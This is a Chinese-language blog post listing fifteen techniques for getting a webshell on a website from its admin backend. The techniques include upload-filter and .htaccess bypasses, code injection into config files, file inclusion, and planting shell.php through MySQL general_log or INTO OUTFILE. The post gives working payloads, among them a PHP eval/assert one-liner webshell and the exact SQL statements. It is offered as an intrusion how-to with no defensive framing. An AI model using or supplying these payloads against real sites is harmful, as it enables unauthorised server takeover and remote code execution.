後臺getshell常用技巧

1.利用文件上傳漏洞,找文件上傳處想辦法上傳php文件。

一些網站在設置可以允許修改上傳的文件類型則直接添加php

有時候會還有檢測是否爲php文件,可以通過文件名變形,大小寫,雙寫等形式繞過,只要是黑名單的都比較好繞過

 

很多cms還有.hatccess文件禁止訪問或者執行這個目錄下的文件的情況

這種情況直接上傳一個.hatccess文件覆蓋這個,讓其失效。

或者上傳不重命名的話上傳../../shell.php 傳到其他不被限制訪問的目錄

或者找任意文件刪除漏洞把.hatccess文件刪除

 

2.找文件配置的地方寫入php代碼,一般都有過濾的,想辦法繞過

過濾單引號的話可以用註釋把上一個的內容註釋掉 在下一個參數配置注入代碼

效果如下

$conf_1 ='xx\';

$conf_2 = ';phpinfo();//'

這樣就相當於

$conf_1 ='xx\';$conf_2 = ';

phpinfo();

php代碼就可以執行了,防護比較弱的話直接訪問這個配置文件就可以getshell了。

防護比較好禁止訪問配置文件時,就找包含這個配置文件的文件即可。

 

3.找有沒有存在任意文件包含的地方,本地包含的話直接上傳php代碼的圖片,遠程包含的話就在自己的服務器上設置php代碼文件

 

 

4.sql注入getshell 要知道網站的絕對路徑

方法一:利用設置mysql log爲php文件,並設置路徑到網站目錄下,這樣就可以把sql中執行的php語句插入的log中了

如:

SETglobal general_log='on';

SETglobalgeneral_log_file='D:/webshell/WWW/shell.php';#如果沒有shell.php會自動創建

SELECT'<?php assert($_POST["cmd"]);?>';

 

方法二:

select "<?php phpinfo(); ?>" into outfile 'shell路徑.php'

 

5.遠程圖片文件下載

有時候遠程圖片下載的時候,可以設置一下下載自己的php文件

如 自己服務器上的文件1.php

<?php

echo "<?php phpinfo(); ?>";

?>

或者別的方式,讓頁面有php代碼,如果不過濾後綴的話直接會下載這個php文件

 

6.zip解壓getshell

這個再系統升級或者插件安裝的地方很多都有這個問題。上傳shell.php在壓縮包中,上傳系統升級時會解壓縮,那麼就可以getshell

 

7.緩存寫入

有些地方會把緩存寫入到一個php文件裏,想辦法讓自己的payload寫入緩存中

 

8.數據庫備份getshell

有些提供功能可以通過數據庫備份進行修改文件後綴。

 

9.編輯模板getshell

在網站編輯模板插入一句話

 

10.命令執行拿webshell

echo <?php @eval($_POST(a));?> >路徑.php

可以用相對路徑也可以用絕對路徑

 

11.編輯器漏洞getshell

要留意cms使用的編輯器版本是否是已知漏洞的版本

 

12.利用文件解析漏洞拿webshell

 

13.找可以執行代碼的函數,看看參數是否可控

 

14.找寫文件的函數,看看文件後綴和內容是否可控

 

15.沒有進入後臺

0day拿webshell

IIS寫權限拿webshell(put一個shell進去)

命令執行拿webshell

通過注入漏洞拿webshell

前臺圖片上傳拿webshell

Strusts2拿webshell

java反序列拿shell

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章